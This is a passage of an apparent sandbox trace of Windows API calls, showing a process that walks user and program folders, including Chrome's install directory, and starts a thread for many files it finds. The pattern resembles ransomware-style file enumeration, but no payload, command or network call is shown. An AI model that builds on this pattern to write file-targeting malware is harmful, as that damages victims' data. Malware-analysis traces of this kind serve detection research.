_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0047.891] wcscat (in: _Dest=0x4219d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\" [0047.891] wcscat (in: _Dest=0x4219d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*" [0047.891] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b710 [0047.891] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b710) returned 1 [0047.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4219d8) returned 1 [0047.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421818) returned 1 Thread: id = 327 os_tid = 0x5cc [0048.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x419478 [0048.574] wcscpy (in: _Dest=0x419478, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0048.574] wcscat (in: _Dest=0x419478, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\" [0048.574] wcscat (in: _Dest=0x419478, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*" [0048.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430870 [0048.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430870) returned 1 [0048.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419478) returned 1 [0048.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421888) returned 1 Thread: id = 328 os_tid = 0xc04 [0048.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x4473a8 [0048.576] wcscpy (in: _Dest=0x4473a8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0048.576] wcscat (in: _Dest=0x4473a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\" [0048.576] wcscat (in: _Dest=0x4473a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*" [0048.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430870 [0048.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e28 [0048.576] wcscmp (_String1=".", _String2=".") returned 0 [0048.576] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.576] wcscmp (_String1="..", _String2=".") returned 1 [0048.576] wcscmp (_String1="..", _String2="..") returned 0 [0048.576] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0048.576] wcscmp (_String1="TTS20", _String2=".") returned 1 [0048.576] wcscmp (_String1="TTS20", _String2="..") returned 1 [0048.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4165d0 [0048.576] wcscpy (in: _Dest=0x4165d0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0048.576] wcscat (in: _Dest=0x4165d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\" [0048.576] wcscat (in: _Dest=0x4165d0, _Source="TTS20" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0049.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4165d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0049.007] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0049.007] FindClose (in: hFindFile=0x409e28 | out: hFindFile=0x409e28) returned 1 [0049.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430870) returned 1 [0049.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4473a8) returned 1 [0049.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400718) returned 1 Thread: id = 329 os_tid = 0xc08 [0048.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416810 [0048.577] wcscpy (in: _Dest=0x416810, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.577] wcscat (in: _Dest=0x416810, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.577] wcscat (in: _Dest=0x416810, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*" [0048.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430138 [0048.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3e8 [0048.577] wcscmp (_String1=".", _String2=".") returned 0 [0048.577] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.807] wcscmp (_String1="..", _String2=".") returned 1 [0048.807] wcscmp (_String1="..", _String2="..") returned 0 [0048.807] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="580302~1.MAN")) returned 1 [0048.807] wcscmp (_String1="58.0.3029.110.manifest", _String2=".") returned 1 [0048.807] wcscmp (_String1="58.0.3029.110.manifest", _String2="..") returned 1 [0048.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45bfb8 [0048.807] wcscpy (in: _Dest=0x45bfb8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.807] wcscat (in: _Dest=0x45bfb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.807] wcscat (in: _Dest=0x45bfb8, _Source="58.0.3029.110.manifest" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" [0048.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45bfb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0048.961] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db1d780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7db1d780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x744b1e7c, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x2f01758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0048.961] wcscmp (_String1="chrome.dll", _String2=".") returned 1 [0048.961] wcscmp (_String1="chrome.dll", _String2="..") returned 1 [0048.961] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x74ce3fd2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="CHROME~3.SIG")) returned 1 [0048.961] wcscmp (_String1="chrome.dll.sig", _String2=".") returned 1 [0048.961] wcscmp (_String1="chrome.dll.sig", _String2="..") returned 1 [0048.961] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x4ef930 [0048.961] wcscpy (in: _Dest=0x4ef930, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.961] wcscat (in: _Dest=0x4ef930, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.961] wcscat (in: _Dest=0x4ef930, _Source="chrome.dll.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" [0048.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0048.962] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x73db0ff6, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", cAlternateFileName="CHROME~2.SIG")) returned 1 [0048.962] wcscmp (_String1="chrome.exe.sig", _String2=".") returned 1 [0048.962] wcscmp (_String1="chrome.exe.sig", _String2="..") returned 1 [0048.962] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x4ef9d8 [0048.962] wcscpy (in: _Dest=0x4ef9d8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.962] wcscat (in: _Dest=0x4ef9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.963] wcscat (in: _Dest=0x4ef9d8, _Source="chrome.exe.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" [0048.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0048.963] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe6e02b4, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="CHROME~1.PAK")) returned 1 [0048.963] wcscmp (_String1="chrome_100_percent.pak", _String2=".") returned 1 [0048.964] wcscmp (_String1="chrome_100_percent.pak", _String2="..") returned 1 [0048.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c070 [0048.964] wcscpy (in: _Dest=0x45c070, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.964] wcscat (in: _Dest=0x45c070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.964] wcscat (in: _Dest=0x45c070, _Source="chrome_100_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" [0048.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0048.965] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff5b27e6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="CHROME~2.PAK")) returned 1 [0048.965] wcscmp (_String1="chrome_200_percent.pak", _String2=".") returned 1 [0048.965] wcscmp (_String1="chrome_200_percent.pak", _String2="..") returned 1 [0048.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c128 [0048.965] wcscpy (in: _Dest=0x45c128, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.965] wcscat (in: _Dest=0x45c128, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.965] wcscat (in: _Dest=0x45c128, _Source="chrome_200_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" [0048.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0048.966] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd7ed80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7dd7ed80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7553c382, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3953558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0048.966] wcscmp (_String1="chrome_child.dll", _String2=".") returned 1 [0048.966] wcscmp (_String1="chrome_child.dll", _String2="..") returned 1 [0048.966] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x75e2d09a, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="CHROME~1.SIG")) returned 1 [0048.966] wcscmp (_String1="chrome_child.dll.sig", _String2=".") returned 1 [0048.966] wcscmp (_String1="chrome_child.dll.sig", _String2="..") returned 1 [0048.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442a40 [0048.966] wcscpy (in: _Dest=0x442a40, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.966] wcscat (in: _Dest=0x442a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.966] wcscat (in: _Dest=0x442a40, _Source="chrome_child.dll.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" [0048.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0048.967] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76043186, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x86558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~2.DLL")) returned 1 [0048.967] wcscmp (_String1="chrome_elf.dll", _String2=".") returned 1 [0048.967] wcscmp (_String1="chrome_elf.dll", _String2="..") returned 1 [0048.967] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7638a542, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x94b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="CHROME~3.DLL")) returned 1 [0048.967] wcscmp (_String1="chrome_watcher.dll", _String2=".") returned 1 [0048.967] wcscmp (_String1="chrome_watcher.dll", _String2="..") returned 1 [0048.967] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9a43f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0048.967] wcscmp (_String1="d3dcompiler_47.dll", _String2=".") returned 1 [0048.967] wcscmp (_String1="d3dcompiler_47.dll", _String2="..") returned 1 [0048.967] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="DEFAUL~1")) returned 1 [0048.968] wcscmp (_String1="default_apps", _String2=".") returned 1 [0048.968] wcscmp (_String1="default_apps", _String2="..") returned 1 [0048.968] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4efa80 [0048.968] wcscpy (in: _Dest=0x4efa80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.968] wcscat (in: _Dest=0x4efa80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.968] wcscat (in: _Dest=0x4efa80, _Source="default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0048.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4efa80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0048.969] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 